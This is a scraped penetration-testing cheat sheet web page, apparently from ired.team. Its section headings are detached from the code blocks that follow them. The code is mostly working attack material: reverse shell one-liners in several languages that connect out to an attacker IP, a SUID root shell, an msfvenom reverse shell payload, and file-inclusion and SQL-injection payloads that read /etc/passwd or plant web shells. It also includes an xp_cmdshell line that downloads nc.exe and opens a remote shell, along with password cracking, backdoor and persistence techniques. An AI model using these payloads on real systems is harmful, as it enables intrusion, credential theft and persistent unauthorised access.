[](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#resetting-root-password) Resetting root Password ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#uploading-files-to-target-machine) Uploading Files to Target Machine #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#tftp) TFTP #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#ftp) FTP #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#certutil) CertUtil #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#php-1) PHP #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#python-1) Python #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#http-powershell) HTTP: Powershell #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#http-vbscript) HTTP: VBScript Copy and paste contents of [wget.vbs](https://github.com/mantvydasb/Offensive-Security-Cheatsheets/blob/master/wget-cscript) into a Windows Shell and then: #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#http-linux) HTTP: Linux #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#netcat) NetCat #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#http-windows-debug.exe-method) HTTP: Windows "debug.exe" Method #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#http-windows-bitsadmin) HTTP: Windows BitsAdmin #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#wscript-script-code-download-and-execution) Wscript Script Code Download & Execution cmd code.js ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#whois-data-exfiltration) Whois Data Exfiltration ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#cancel-data-exfiltration) Cancel Data Exfiltration ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#rlogin-data-exfiltration) rlogin Data Exfiltration ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#bash-ping-sweeper) Bash Ping Sweeper ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#brute-forcing-xored-string-with-1-byte-key-in-python) Brute-forcing XOR'ed string with 1 byte key in Python ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#generating-bad-character-strings) Generating Bad Character Strings ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#converting-python-to-windows-executable-.py-greater-than-.exe) Converting Python to Windows Executable (.py -> .exe) ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#port-scanning-with-netcat) Port Scanning with NetCat ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#port-scanning-with-masscan) Port Scanning with Masscan ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#exploiting-vulnerable-windows-services-weak-service-permissions) Exploiting Vulnerable Windows Services: Weak Service Permissions ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#find-file-folder-permissions-explicitly-set-for-a-given-user) Find File/Folder Permissions Explicitly Set for a Given User ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#alwaysinstallelevated-msi) AlwaysInstallElevated MSI ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#stored-credentials-windows) Stored Credentials: Windows ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#unquoted-service-path) Unquoted Service Path ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#persistence-via-services) Persistence via Services ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#port-forwarding-ssh-tunneling) Port Forwarding / SSH Tunneling #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#ssh-local-port-forwarding) SSH: Local Port Forwarding #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#ssh-dynamic-port-forwarding) SSH: Dynamic Port Forwarding #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#ssh-remote-port-forwarding) SSH: Remote Port Forwarding #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#proxy-tunnel) Proxy Tunnel #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#http-tunnel-ssh-over-http) HTTP Tunnel: SSH Over HTTP #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#netsh-windows-port-forwarding) Netsh - Windows Port Forwarding ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#runas-start-process-as) RunAs / Start Process As #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#powershell) PowerShell #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#cmd-1) CMD #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#psexec) PsExec #### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#pth-winexe) Pth-WinExe ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#recursively-find-hidden-files-windows) Recursively Find Hidden Files: Windows ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#general-file-search) General File Search [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#post-exploitation-and-maintaining-access) Post-Exploitation & Maintaining Access ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#browsing-registry-hives) Browsing Registry Hives ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#decrypting-rdg-passwords) Decrypting RDG Passwords Remote Desktop Connection Manager passwords can be decrypted on the same computer/account they were encrypted: ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#decrypting-vnc-password) Decrypting VNC Password ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#creating-user-and-adding-to-local-administrators) Creating User and Adding to Local Administrators ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#hide-newly-created-local-administrator) Hide Newly Created Local administrator ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#creating-ssh-authorized-keys) Creating SSH Authorized Keys ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#creating-backdoor-user-w-o-password) Creating Backdoor User w/o Password ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#creating-another-root-user) Creating Another root User ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#generating-openssl-password) Generating OpenSSL Password ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#persistent-back-doors) Persistent Back Doors [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#code-execution-application-whitelist-bypass) Code Execution / Application Whitelist Bypass -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#ieframe.dll) Ieframe.dll cmd test.url This was inspired by and forked/adapted/updated from [Dostoevsky's Pentest Notes](https://github.com/dostoevskylabs/dostoevsky-pentest-notes) . [PreviousWhat is ired.team notes?](https://www.ired.team/) [NextSQL Injection & XSS Playground](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets/sql-injection-xss-playground) Last updated 3 years ago * [Reconnaissance / Enumeration](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#reconnaissance-enumeration) * [Extracting Live IPs from Nmap Scan](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#extracting-live-ips-from-nmap-scan) * [Simple Port Knocking](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#simple-port-knocking) * [DNS lookups, Zone Transfers & Brute-Force](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#dns-lookups-zone-transfers-and-brute-force) * [Banner Grabbing](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#banner-grabbing) * [NFS Exported Shares](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#nfs-exported-shares) * [Kerberos Enumeration](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#kerberos-enumeration) * [HTTP Brute-Force & Vulnerability Scanning](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#http-brute-force-and-vulnerability-scanning) * [RPC / NetBios / SMB](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#rpc-netbios-smb) * [SNMP](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#snmp) * [SMTP](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#smtp) * [Active Directory](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#active-directory) * [Listen on a port (Powershell)](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#listen-on-a-port-powershell) * [Gaining Access](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#gaining-access) * [Reverse Shell One-Liners](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#reverse-shell-one-liners) * [JDWP RCE](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#jdwp-rce) * [Working with Restricted Shells](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#working-with-restricted-shells) * [Interactive TTY Shells](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#interactive-tty-shells) * [Uploading/POSTing Files Through WWW Upload Forms](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#uploading-posting-files-through-www-upload-forms) * [PUTing File on the Webhost via PUT verb](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#puting-file-on-the-webhost-via-put-verb) * [Generating Payload Pattern & Calculating Offset](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#generating-payload-pattern-and-calculating-offset) * [Bypassing File Upload Restrictions](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#bypassing-file-upload-restrictions) * [Injecting PHP into JPEG](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#injecting-php-into-jpeg) * [Uploading .htaccess to interpret .blah as .php](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#uploading-.htaccess-to-interpret-.blah-as-.php) * [Cracking Passwords](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#cracking-passwords) * [Generating Payload with msfvenom](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#generating-payload-with-msfvenom) * [Compiling Code From Linux](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#compiling-code-from-linux) * [Compiling Assembly from Windows](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#compiling-assembly-from-windows) * [Local File Inclusion to Shell](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#local-file-inclusion-to-shell) * [Local File Inclusion: Reading Files](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#local-file-inclusion-reading-files) * [Remote File Inclusion Shell: Windows + PHP](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#remote-file-inclusion-shell-windows--php) * [SQL Injection to Shell or Backdoor](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#sql-injection-to-shell-or-backdoor) * [SQLite Injection to Shell or Backdoor](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#sqlite-injection-to-shell-or-backdoor) * [MS-SQL Console](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#ms-sql-console) * [Upgradig Non-Interactive Shell](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#upgradig-non-interactive-shell) * [Python Input Code Injection](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#python-input-code-injection) * [Local Enumeration & Privilege Escalation](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#local-enumeration-and-privilege-escalation) * [Check AppLocker Policies](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#check-applocker-policies) * [Applocker: Writable Windows Directories](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#applocker-writable-windows-directories) * [Find Writable Files/Folders in Windows](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#find-writable-files-folders-in-windows) * [Check if Powershell Logging is Enabled](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#check-if-powershell-logging-is-enabled) * [Check WinEvent Logs for SecureString Exposure](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#check-winevent-logs-for-securestring-exposure) * [Check WinEvent for Machine Wake/Sleep times](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#check-winevent-for-machine-wake-sleep-times) * [Audit Policies](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#audit-policies) * [Check if LSASS is running in PPL](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#check-if-lsass-is-running-in-ppl) * [Binary Exploitation with ImmunityDebugger](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#binary-exploitation-with-immunitydebugger) * [Cracking a ZIP Password](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#cracking-a-zip-password) * [Setting up Simple HTTP server](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#setting-up-simple-http-server) * [MySQL User Defined Fuction Privilge Escalation](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#mysql-user-defined-fuction-privilge-escalation) * [Docker Privilege Esclation](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#docker-privilege-esclation) * [Resetting root Password](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#resetting-root-password) * [Uploading Files to Target Machine](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#uploading-files-to-target-machine) * [Whois Data Exfiltration](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#whois-data-exfiltration) * [Cancel Data Exfiltration](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#cancel-data-exfiltration) * [rlogin Data Exfiltration](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#rlogin-data-exfiltration) * [Bash Ping Sweeper](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#bash-ping-sweeper) * [Brute-forcing XOR'ed string with 1 byte key in Python](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#brute-forcing-xored-string-with-1-byte-key-in-python) * [Generating Bad Character Strings](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#generating-bad-character-strings) * [Converting Python to Windows Executable (.py -> .exe)](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#converting-python-to-windows-executable-.py-greater-than-.exe) * [Port Scanning with NetCat](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#port-scanning-with-netcat) * [Port Scanning with Masscan](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#port-scanning-with-masscan) * [Exploiting Vulnerable Windows Services: Weak Service Permissions](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#exploiting-vulnerable-windows-services-weak-service-permissions) * [Find File/Folder Permissions Explicitly Set for a Given User](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#find-file-folder-permissions-explicitly-set-for-a-given-user) * [AlwaysInstallElevated MSI](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#alwaysinstallelevated-msi) * [Stored Credentials: Windows](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#stored-credentials-windows) * [Unquoted Service Path](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#unquoted-service-path) * [Persistence via Services](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#persistence-via-services) * [Port Forwarding / SSH Tunneling](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#port-forwarding-ssh-tunneling) * [RunAs / Start Process As](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#runas-start-process-as) * [Recursively Find Hidden Files: Windows](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#recursively-find-hidden-files-windows) * [General File Search](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#general-file-search) * [Post-Exploitation & Maintaining Access](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#post-exploitation-and-maintaining-access) * [Browsing Registry Hives](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#browsing-registry-hives) * [Decrypting RDG Passwords](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#decrypting-rdg-passwords) * [Decrypting VNC Password](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#decrypting-vnc-password) * [Creating User and Adding to Local Administrators](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#creating-user-and-adding-to-local-administrators) * [Hide Newly Created Local administrator](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#hide-newly-created-local-administrator) * [Creating SSH Authorized Keys](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#creating-ssh-authorized-keys) * [Creating Backdoor User w/o Password](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#creating-backdoor-user-w-o-password) * [Creating Another root User](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#creating-another-root-user) * [Generating OpenSSL Password](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#generating-openssl-password) * [Persistent Back Doors](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#persistent-back-doors) * [Code Execution / Application Whitelist Bypass](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#code-execution-application-whitelist-bypass) * [Ieframe.dll](https://www.ired.team/offensive-security-experiments/offensive-security-cheetsheets#ieframe.dll) Copy nc -v $TARGET 80 telnet $TARGET 80 curl -vX $TARGET Copy showmount -e 192.168.110.102 sid-shell.c Copy #include main( int argc, char ** argv, char ** envp ) { setgid(0); setuid(0); system("/bin/bash", argv, envp); return 0; } Copy chown root:root sid-shell; chmod +s sid-shell; ./sid-shell Copy # users nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test' Copy target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum Copy rpcinfo -p $TARGET nbtscan $TARGET #list shares smbclient -L //$TARGET -U "" # null session rpcclient -U "" $TARGET smbclient -L //$TARGET enum4linux $TARGET Copy # Windows User Accounts snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25 # Windows Running Programs snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2 # Windows Hostname snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5 # Windows Share Information snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1 # Windows Share Information snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27 # Windows TCP Ports snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3 # Software Name snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2 # brute-force community strings onesixtyone -i snmp-ips.txt -c community.txt snmp-check $TARGET Copy smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150 Copy # current domain info [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() # domain trusts ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() # current forest info [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() # get forest trust relationships ([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships() # get DCs of a domain nltest /dclist:offense.local net group "domain controllers" /domain # get DC for currently authenticated session nltest /dsgetdc:offense.local # get domain trusts from cmd shell nltest /domain_trusts # get user info nltest /user:"spotless" # get DC for currently authenticated session set l # get domain name and DC the user authenticated to klist # get all logon sessions. Includes NTLM authenticated sessions klist sessions # kerberos tickets for the session klist # cached krbtgt klist tgt # whoami on older Windows systems set u # find DFS shares with ADModule Get-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=offense,DC=local" | select name # find DFS shares with ADSI $s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,DC=offense,DC=local"; $s.FindAll() | % {$_.properties.name} # check if spooler service is running on a host powershell ls "\\dc01\pipe\spoolss" Copy # Start listener on port 443 $listener = [System.Net.Sockets.TcpListener]443; $listener.Start(); while($true) { $client = $listener.AcceptTcpClient(); Write-Host $client.client.RemoteEndPoint "connected!"; $client.Close(); start-sleep -seconds 1; } Copy bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 Copy perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' Copy echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew Copy python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' Copy php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' Copy ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' Copy rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f Copy nc localhost 443 | /bin/sh | nc localhost 444 telnet localhost 443 | /bin/sh | telnet localhost 444 Copy r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor(); Copy xterm -display 10.0.0.1:1 Copy print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine()) Copy # rare cases ssh bill@localhost ls -l /tmp Copy nice /bin/bash Copy /usr/bin/expect sh Copy python -c ‘import pty; pty.spawn(“/bin/sh”)’ # execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);' Copy # POST file curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie" # POST binary data to web form curl -F "field=' http://192.168.2.99/shell.php Copy /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE Copy exiv2 -c'A ""!' backdoor.jpeg exiftool “-comment<=back.php” back.png Copy AddType application/x-httpd-php .blah Copy hydra 10.10.10.52 http-post-form -L /usr/share/wordlists/list "/endpoint/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list Copy hydra 10.10.10.52 -l username -P /usr/share/wordlists/list ftp|ssh|smb://10.0.0.1 Copy # Bruteforce based on the pattern; hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout # Generate password candidates: wordlist + pattern; hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout # Generate NetNLTMv2 with internalMonologue and crack with hashcat InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800 # resulting hash spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000 # crack with hashcat hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable Copy msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.245 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai Copy # Windows i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe # Linux gcc -m32|-m64 -o output source.c Copy # https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D nasm -f win64 .\hello.asm -o .\hello.obj # http://www.godevtool.com/Golink.zip GoLink.exe -o .\hello.exe .\hello.obj Copy nc 192.168.1.102 80 GET / HTTP/1.1 Host: 192.168.1.102 Connection: close # Then send as cmd payload via http://192.168.1.102/index.php?page=../../../../../var/log/apache2/access.log&cmd=id Copy file:///etc/passwd http://example.com/index.php?page=php://input&cmd=ls POST: http://192.168.2.237/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input POST: expect://whoami http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=id http://10.1.1.1/index.php?page=data://text/plain,%3C?php%20system%28%22uname%20-a%22%29;%20?%3E # ZIP Wrapper echo "
" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; http://example.com/index.php?page=zip://shell.jpg%23payload.php # Loop through file descriptors curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output - Copy Copy # Assumed 3 columns http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"",2,3 INTO OUTFILE "c:/evil.php"-- uMj Copy # sqlmap; post-request - captured request via Burp Proxy via Save Item to File. sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10 Copy # netcat reverse shell via mssql injection when xp_cmdshell is available 1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';-- Copy ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn; CREATE TABLE pwn.shell (code TEXT); INSERT INTO pwn.shell (code) VALUES (''); Copy mssqlclient.py -port 27900 user:password@10.1.1.1 sqsh -S 10.1.1.1 -U user -P password Copy python -c 'import pty; pty.spawn("/bin/sh")' /bin/busybox sh Copy __import__('os').system('id') Copy Get-AppLockerPolicy -Local).RuleCollections Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\ Copy # list from https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md C:\Windows\Tasks C:\Windows\Temp C:\windows\tracing C:\Windows\Registration\CRMLog C:\Windows\System32\FxsTmp C:\Windows\System32\com\dmp C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\PRINTERS C:\Windows\System32\spool\SERVERS C:\Windows\System32\spool\drivers\color C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10) C:\Windows\SysWOW64\FxsTmp C:\Windows\SysWOW64\com\dmp C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System Copy $a = Get-ChildItem "c:\windows\" -recurse -ErrorAction SilentlyContinue $a | % { $fileName = $_.fullname $acls = get-acl $fileName -ErrorAction SilentlyContinue | select -exp access | ? {$_.filesystemrights -match "full|modify|write" -and $_.identityreference -match "authenticated users|everyone|$env:username"} if($acls -ne $null) { [pscustomobject]@{ filename = $fileName user = $acls | select -exp identityreference } } } Copy reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription Copy Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Select-Object -Property Message | Select-String -Pattern 'SecureString' Copy Get-WinEvent -FilterHashTable @{ ProviderName = 'Microsoft-Windows-Power-TroubleShooter' ; Id = 1 }|Select-Object -Property @{n='Sleep';e={$_.Properties[0].Value}},@{n='Wake';e={$_.Properties[1].Value}} Copy auditpol /get /category:* Copy reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 